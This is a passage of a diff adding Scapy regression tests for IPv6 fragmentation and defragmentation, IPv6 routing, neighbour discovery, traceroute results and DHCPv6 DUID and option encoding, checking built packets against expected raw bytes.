+a.type == 140 and a.code == 2 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b'\x00'*8 and a.data ==  None
+
+
+############
+############
++ Test Node Information Query - utilities
+
+= computeNIGroupAddr
+computeNIGroupAddr("scapy") == "ff02::2:f886:2f66"
+
+
+############
+############
++ IPv6ExtHdrFragment Class Test
+
+= IPv6ExtHdrFragment - Basic Instantiation
+raw(IPv6ExtHdrFragment()) == b';\x00\x00\x00\x00\x00\x00\x00'
+
+= IPv6ExtHdrFragment - Instantiation with specific values
+raw(IPv6ExtHdrFragment(nh=0xff, res1=0xee, offset=0x1fff, res2=1, m=1, id=0x11111111)) == b'\xff\xee\xff\xfb\x11\x11\x11\x11'
+
+= IPv6ExtHdrFragment - Basic Dissection 
+a=IPv6ExtHdrFragment(b';\x00\x00\x00\x00\x00\x00\x00')
+a.nh == 59 and a.res1 == 0 and a.offset == 0 and a.res2 == 0 and a.m == 0 and a.id == 0
+
+= IPv6ExtHdrFragment - Instantiation with specific values
+a=IPv6ExtHdrFragment(b'\xff\xee\xff\xfb\x11\x11\x11\x11')
+a.nh == 0xff and a.res1 == 0xee and a.offset==0x1fff and a.res2==1 and a.m == 1 and a.id == 0x11111111
+
+
+############
+############
++ Test fragment6 function
+
+= fragment6 - test against a long TCP packet with a 1280 MTU
+l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) 
+len(l) == 33 and len(raw(l[-1])) == 644
+
+
+############
+############
++ Test defragment6 function
+
+= defragment6 - test against a long TCP packet fragmented with a 1280 MTU
+l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) 
+raw(defragment6(l)) == (b'`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + b'A'*40000)
+
+
+= defragment6 - test against a large TCP packet fragmented with a 1280 bytes MTU and missing fragments
+l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) 
+del(l[2])
+del(l[4])
+del(l[12])
+del(l[18])
+raw(defragment6(l)) == (b'`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + 2444*b'A' + 1232*b'X' + 2464*b'A' + 1232*b'X' + 9856*b'A' + 1232*b'X' + 7392*b'A' + 1232*b'X' + 12916*b'A')
+
+
+= defragment6 - test against a TCP packet fragmented with a 800 bytes MTU and missing fragments
+l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*4000), 800) 
+del(l[4])
+del(l[2])
+raw(defragment6(l)) == b'`\x00\x00\x00\x0f\xb4\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb2\x0f\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+
+
+############
+############
++ Test Route6 class
+
+= Route6 - Route6 flushing
+conf.route6.routes=[
+(                               '::1', 128,                       '::',   'lo', ['::1'], 1), 
+(          'fe80::20f:1fff:feca:4650', 128,                       '::',   'lo', ['::1'], 1)]
+conf.route6.flush()
+not conf.route6.routes
+
+= Route6 - Route6.route
+conf.route6.flush()
+conf.route6.routes=[
+(                               '::1', 128,                       '::',   'lo', ['::1'], 1), 
+(          'fe80::20f:1fff:feca:4650', 128,                       '::',   'lo', ['::1'], 1), 
+(                            'fe80::',  64,                       '::', 'eth0', ['fe80::20f:1fff:feca:4650'], 1),
+('2001:db8:0:4444:20f:1fff:feca:4650', 128,                       '::',   'lo', ['::1'], 1), 
+(                 '2001:db8:0:4444::',  64,                       '::', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650'], 1), 
+(                                '::',   0, 'fe80::20f:34ff:fe8a:8aa1', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650', '2002:db8:0:4444:20f:1fff:feca:4650'], 1)
+]
+conf.route6.route("2002::1") == ('eth0', '2002:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route("2001::1") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route("fe80::20f:1fff:feab:4870") == ('eth0', 'fe80::20f:1fff:feca:4650', '::') and conf.route6.route("::1") == ('lo', '::1', '::') and conf.route6.route("::") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route('ff00::') == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1')
+conf.route6.resync()
+if not len(conf.route6.routes):
+    # IPv6 seems disabled. Force a route to ::1
+    conf.route6.routes.append(("::1", 128, "::", LOOPBACK_NAME, ["::1"], 1))
+    True
+
+= Route6 - Route6.make_route
+
+r6 = Route6()
+r6.make_route("2001:db8::1", dev=LOOPBACK_NAME) == ("2001:db8::1", 128, "::", LOOPBACK_NAME, [], 1)
+len_r6 = len(r6.routes)
+
+= Route6 - Route6.add & Route6.delt
+
+r6.add(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1", dev="eth0")
+assert(len(r6.routes) == len_r6 + 1)
+r6.delt(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1")
+assert(len(r6.routes) == len_r6)
+
+= Route6 - Route6.ifadd & Route6.ifdel
+r6.ifadd("scapy0", "2001:bd8:cafe:1::1/64")
+r6.ifdel("scapy0")
+
+= IPv6 - utils
+
+@mock.patch("scapy.layers.inet6.get_if_hwaddr")
+@mock.patch("scapy.layers.inet6.srp1")
+def test_neighsol(mock_srp1, mock_get_if_hwaddr):
+    mock_srp1.return_value = Ether()/IPv6()/ICMPv6ND_NA()/ICMPv6NDOptDstLLAddr(lladdr="05:04:03:02:01:00")
+    mock_get_if_hwaddr.return_value = "00:01:02:03:04:05"
+    return neighsol("fe80::f6ce:46ff:fea9:e04b", "fe80::f6ce:46ff:fea9:e04b", "scapy0")
+
+p = test_neighsol()
+ICMPv6NDOptDstLLAddr in p and p[ICMPv6NDOptDstLLAddr].lladdr == "05:04:03:02:01:00"
+
+
+@mock.patch("scapy.layers.inet6.neighsol")
+@mock.patch("scapy.layers.inet6.conf.route6.route")
+def test_getmacbyip6(mock_route6, mock_neighsol):
+    mock_route6.return_value = ("scapy0", "fe80::baca:3aff:fe72:b08b", "::")
+    mock_neighsol.return_value = test_neighsol()
+    return getmacbyip6("fe80::704:3ff:fe2:100")
+
+test_getmacbyip6() == "05:04:03:02:01:00"
+
+= IPv6 - IPerror6 & UDPerror & _ICMPv6Error
+
+query = IPv6(dst="2001:db8::1", src="2001:db8::2", hlim=1)/UDP()/DNS()
+answer = IPv6(dst="2001:db8::2", src="2001:db8::1", hlim=1)/ICMPv6TimeExceeded()/IPerror6(dst="2001:db8::1", src="2001:db8::2", hlim=0)/UDPerror()/DNS()
+answer.answers(query) == True
+
+# Test _ICMPv6Error
+from scapy.layers.inet6 import _ICMPv6Error
+assert _ICMPv6Error().guess_payload_class(None) == IPerror6
+
+############
+############
++ ICMPv6ML
+
+= ICMPv6MLQuery - build & dissection
+s = raw(IPv6()/ICMPv6MLQuery())
+s == b"`\x00\x00\x00\x00\x18:\x01\xfe\x80\x00\x00\x00\x00\x00\x00\xba\xca:\xff\xfer\xb0\x8b\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x82\x00\xb4O'\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+
+p = IPv6(s)
+ICMPv6MLQuery in p and p[IPv6].dst == "ff02::1"
+
+############
+############
++ Ether tests with IPv6
+
+= Ether IPv6 checking for dst
+~ netaccess ipv6
+
+p = Ether()/IPv6(dst="www.google.com")/TCP()
+assert p.dst != p[IPv6].dst
+p.show()
+
+############
+############
++ TracerouteResult6
+
+= get_trace()
+ip6_hlim = [("2001:db8::%d" % i, i) for i in six.moves.range(1, 12)]
+
+tr6_packets = [ (IPv6(dst="2001:db8::1", src="2001:db8::254", hlim=hlim)/UDP()/"scapy",
+                 IPv6(dst="2001:db8::254", src=ip)/ICMPv6TimeExceeded()/IPerror6(dst="2001:db8::1", src="2001:db8::254", hlim=0)/UDPerror()/"scapy")
+                   for (ip, hlim) in ip6_hlim ]
+
+tr6 = TracerouteResult6(tr6_packets)
+tr6.get_trace() == {'2001:db8::1': {1: ('2001:db8::1', False), 2: ('2001:db8::2', False), 3: ('2001:db8::3', False), 4: ('2001:db8::4', False), 5: ('2001:db8::5', False), 6: ('2001:db8::6', False), 7: ('2001:db8::7', False), 8: ('2001:db8::8', False), 9: ('2001:db8::9', False), 10: ('2001:db8::10', False), 11: ('2001:db8::11', False)}}
+
+= show()
+def test_show():
+    with ContextManagerCaptureOutput() as cmco:
+        tr6 = TracerouteResult6(tr6_packets)
+        tr6.show()
+        result = cmco.get_output()
+    expected = "  2001:db8::1                               :udpdomain \n"
+    expected += "1  2001:db8::1                                3         \n"
+    expected += "2  2001:db8::2                                3         \n"
+    expected += "3  2001:db8::3                                3         \n"
+    expected += "4  2001:db8::4                                3         \n"
+    expected += "5  2001:db8::5                                3         \n"
+    expected += "6  2001:db8::6                                3         \n"
+    expected += "7  2001:db8::7                                3         \n"
+    expected += "8  2001:db8::8                                3         \n"
+    expected += "9  2001:db8::9                                3         \n"
+    expected += "10 2001:db8::10                               3         \n"
+    expected += "11 2001:db8::11                               3         \n"
+    index_result = result.index("\n1")
+    index_expected = expected.index("\n1")
+    assert(result[index_result:] == expected[index_expected:])
+
+test_show()
+
+= graph()
+saved_AS_resolver = conf.AS_resolver
+conf.AS_resolver = None
+tr6.make_graph()
+len(tr6.graphdef) == 492
+tr6.graphdef.startswith("digraph trace {") == True
+'"2001:db8::1 53/udp";' in tr6.graphdef
+conf.AS_resolver = conf.AS_resolver
+
+
+# Below is our Homework : here is the mountain ...
+#
+
+########### ICMPv6MLReport Class ####################################
+########### ICMPv6MLDone Class ######################################
+########### ICMPv6ND_Redirect Class #################################
+########### ICMPv6NDOptSrcAddrList Class ############################
+########### ICMPv6NDOptTgtAddrList Class ############################
+########### ICMPv6ND_INDSol Class ###################################
+########### ICMPv6ND_INDAdv Class ###################################
+
+
+
+
+
+#####################################################################
+#####################################################################
+##########################     DHCPv6      ##########################
+#####################################################################
+#####################################################################
+
+
+############
+############
++ Test DHCP6 DUID_LLT
+
+= DUID_LLT basic instantiation
+a=DUID_LLT() 
+
+= DUID_LLT basic build
+raw(DUID_LLT()) == b'\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= DUID_LLT build with specific values
+raw(DUID_LLT(lladdr="ff:ff:ff:ff:ff:ff", timeval=0x11111111, hwtype=0x2222)) == b'\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff'
+
+= DUID_LLT basic dissection 
+a=DUID_LLT(raw(DUID_LLT()))
+a.type == 1 and a.hwtype == 1 and a.timeval == 0 and a.lladdr == "00:00:00:00:00:00"
+
+= DUID_LLT dissection with specific values
+a=DUID_LLT(b'\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff') 
+a.type == 1 and a.hwtype == 0x2222 and a.timeval == 0x11111111 and a.lladdr == "ff:ff:ff:ff:ff:ff"
+
+
+############
+############
++ Test DHCP6 DUID_EN
+
+= DUID_EN basic instantiation
+a=DUID_EN() 
+
+= DUID_EN basic build
+raw(DUID_EN()) == b'\x00\x02\x00\x00\x017'
+
+= DUID_EN build with specific values
+raw(DUID_EN(enterprisenum=0x11111111, id="iamastring")) == b'\x00\x02\x11\x11\x11\x11iamastring'
+
+= DUID_EN basic dissection 
+a=DUID_EN(b'\x00\x02\x00\x00\x017')
+a.type == 2 and a.enterprisenum == 311 
+
+= DUID_EN dissection with specific values 
+a=DUID_EN(b'\x00\x02\x11\x11\x11\x11iamarawing')
+a.type == 2 and a.enterprisenum == 0x11111111 and a.id == b"iamarawing"
+
+
+############
+############
++ Test DHCP6 DUID_LL
+
+= DUID_LL basic instantiation
+a=DUID_LL() 
+
+= DUID_LL basic build
+raw(DUID_LL()) == b'\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00'
+
+= DUID_LL build with specific values
+raw(DUID_LL(hwtype=1, lladdr="ff:ff:ff:ff:ff:ff")) == b'\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff'
+
+= DUID_LL basic dissection
+a=DUID_LL(raw(DUID_LL()))
+a.type == 3 and a.hwtype == 1 and a.lladdr == "00:00:00:00:00:00"
+
+= DUID_LL with specific values 
+a=DUID_LL(b'\x00\x03\x00\x01\xff\xff\xff\xff\xff\xff')
+a.hwtype == 1 and a.lladdr == "ff:ff:ff:ff:ff:ff"
+
+
+############
+############
++ Test DHCP6 Opt Unknown
+
+= DHCP6 Opt Unknown basic instantiation 
+a=DHCP6OptUnknown()
+
+= DHCP6 Opt Unknown basic build (default values)
+raw(DHCP6OptUnknown()) == b'\x00\x00\x00\x00'
+
+= DHCP6 Opt Unknown - len computation test
+raw(DHCP6OptUnknown(data="shouldbe9")) == b'\x00\x00\x00\tshouldbe9'
+
+
+############
+############
++ Test DHCP6 Client Identifier option
+
+= DHCP6OptClientId basic instantiation
+a=DHCP6OptClientId()
+
+= DHCP6OptClientId basic build
+raw(DHCP6OptClientId()) == b'\x00\x01\x00\x00'
+
+= DHCP6OptClientId instantiation with specific values 
+raw(DHCP6OptClientId(duid="toto")) == b'\x00\x01\x00\x04toto'
+
+= DHCP6OptClientId instantiation with DUID_LL
+raw(DHCP6OptClientId(duid=DUID_LL())) == b'\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00'
+
+= DHCP6OptClientId instantiation with DUID_LLT
+raw(DHCP6OptClientId(duid=DUID_LLT())) == b'\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= DHCP6OptClientId instantiation with DUID_EN
+raw(DHCP6OptClientId(duid=DUID_EN())) == b'\x00\x01\x00\x06\x00\x02\x00\x00\x017'
+
+= DHCP6OptClientId instantiation with specified length
+raw(DHCP6OptClientId(optlen=80, duid="somestring")) == b'\x00\x01\x00Psomestring'
+
+= DHCP6OptClientId basic dissection
+a=DHCP6OptClientId(b'\x00\x01\x00\x00') 
+a.optcode == 1 and a.optlen == 0
+
+= DHCP6OptClientId instantiation with specified length
+raw(DHCP6OptClientId(optlen=80, duid="somestring")) == b'\x00\x01\x00Psomestring'
+
+= DHCP6OptClientId basic dissection
+a=DHCP6OptClientId(b'\x00\x01\x00\x00') 
+a.optcode == 1 and a.optlen == 0
+
+= DHCP6OptClientId dissection with specific duid value
+a=DHCP6OptClientId(b'\x00\x01\x00\x04somerawing')
+a.optcode == 1 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == b'some' and isinstance(a.payload, DHCP6OptUnknown)
+
+= DHCP6OptClientId dissection with specific DUID_LL as duid value
+a=DHCP6OptClientId(b'\x00\x01\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00')
+a.optcode == 1 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00"
+
+= DHCP6OptClientId dissection with specific DUID_LLT as duid value
+a=DHCP6OptClientId(b'\x00\x01\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.optcode == 1 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00"
+
+= DHCP6OptClientId dissection with specific DUID_EN as duid value
+a=DHCP6OptClientId(b'\x00\x01\x00\x06\x00\x02\x00\x00\x017')
+a.optcode == 1 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == b""
+
+
+############
+############
++ Test DHCP6 Server Identifier option
+
+= DHCP6OptServerId basic instantiation
+a=DHCP6OptServerId()
+
+= DHCP6OptServerId basic build 
+raw(DHCP6OptServerId()) == b'\x00\x02\x00\x00'
+
+= DHCP6OptServerId basic build with specific values
+raw(DHCP6OptServerId(duid="toto")) == b'\x00\x02\x00\x04toto'
+
+= DHCP6OptServerId instantiation with DUID_LL
+raw(DHCP6OptServerId(duid=DUID_LL())) == b'\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00'
+
+= DHCP6OptServerId instantiation with DUID_LLT
+raw(DHCP6OptServerId(duid=DUID_LLT())) == b'\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= DHCP6OptServerId instantiation with DUID_EN
+raw(DHCP6OptServerId(duid=DUID_EN())) == b'\x00\x02\x00\x06\x00\x02\x00\x00\x017'
+
+= DHCP6OptServerId instantiation with specified length
+raw(DHCP6OptServerId(optlen=80, duid="somestring")) == b'\x00\x02\x00Psomestring'
+
+= DHCP6OptServerId basic dissection
+a=DHCP6OptServerId(b'\x00\x02\x00\x00') 
+a.optcode == 2 and a.optlen == 0
+
+= DHCP6OptServerId dissection with specific duid value
+a=DHCP6OptServerId(b'\x00\x02\x00\x04somerawing')
+a.optcode == 2 and a.optlen == 4 and isinstance(a.duid, Raw) and a.duid.load == b'some' and isinstance(a.payload, DHCP6OptUnknown)
+
+= DHCP6OptServerId dissection with specific DUID_LL as duid value
+a=DHCP6OptServerId(b'\x00\x02\x00\n\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00')
+a.optcode == 2 and a.optlen == 10 and isinstance(a.duid, DUID_LL) and a.duid.type == 3 and a.duid.hwtype == 1 and a.duid.lladdr == "00:00:00:00:00:00"
+
+= DHCP6OptServerId dissection with specific DUID_LLT as duid value
+a=DHCP6OptServerId(b'\x00\x02\x00\x0e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.optcode == 2 and a.optlen == 14 and isinstance(a.duid, DUID_LLT) and a.duid.type == 1 and a.duid.hwtype == 1 and a.duid.timeval == 0 and a.duid.lladdr == "00:00:00:00:00:00"
+
+= DHCP6OptServerId dissection with specific DUID_EN as duid value
+a=DHCP6OptServerId(b'\x00\x02\x00\x06\x00\x02\x00\x00\x017')
+a.optcode == 2 and a.optlen == 6 and isinstance(a.duid, DUID_EN) and a.duid.type == 2 and a.duid.enterprisenum == 311 and a.duid.id == b""
+
+
+############
+############
++ Test DHCP6 IA Address Option (IA_TA or IA_NA suboption)
+
+= DHCP6OptIAAddress - Basic Instantiation
+raw(DHCP6OptIAAddress()) == b'\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= DHCP6OptIAAddress - Basic Dissection
+a = DHCP6OptIAAddress(b'\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.optcode == 5 and a.optlen == 24 and a.addr == "::" and a.preflft == 0 and a. validlft == 0 and a.iaaddropts == b""
+
+= DHCP6OptIAAddress - Instantiation with specific values
+raw(DHCP6OptIAAddress(optlen=0x1111, addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaaddropts="somestring")) == b'\x00\x05\x11\x11""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomestring'
+
+= DHCP6OptIAAddress - Instantiation with specific values (default optlen computation)
+raw(DHCP6OptIAAddress(addr="2222:3333::5555", preflft=0x66666666, validlft=0x77777777, iaaddropts="somestring")) == b'\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomestring'
+
+= DHCP6OptIAAddress - Dissection with specific values 
+a = DHCP6OptIAAddress(b'\x00\x05\x00"""33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00UUffffwwwwsomerawing')
+a.optcode == 5 and a.optlen == 34 and a.addr == "2222:3333::5555" and a.preflft == 0x66666666 and a. validlft == 0x77777777 and a.iaaddropts == b"somerawing"
+
+
+############
+############
++ Test DHCP6 Identity Association for Non-temporary Addresses Option
+
+= DHCP6OptIA_NA - Basic Instantiation
+raw(DHCP6OptIA_NA()) == b'\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= DHCP6OptIA_NA - Basic Dissection
+a = DHCP6OptIA_NA(b'\x00\x03\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.optcode == 3 and a.optlen == 12 and a.iaid == 0 and a.T1 == 0 and a.T2==0 and a.ianaopts == []
+
+= DHCP6OptIA_NA - Instantiation with specific values (keep automatic length computation) 
+raw(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\x00\x03\x00\x0c""""3333DDDD'
+
+= DHCP6OptIA_NA - Instantiation with specific values (forced optlen)
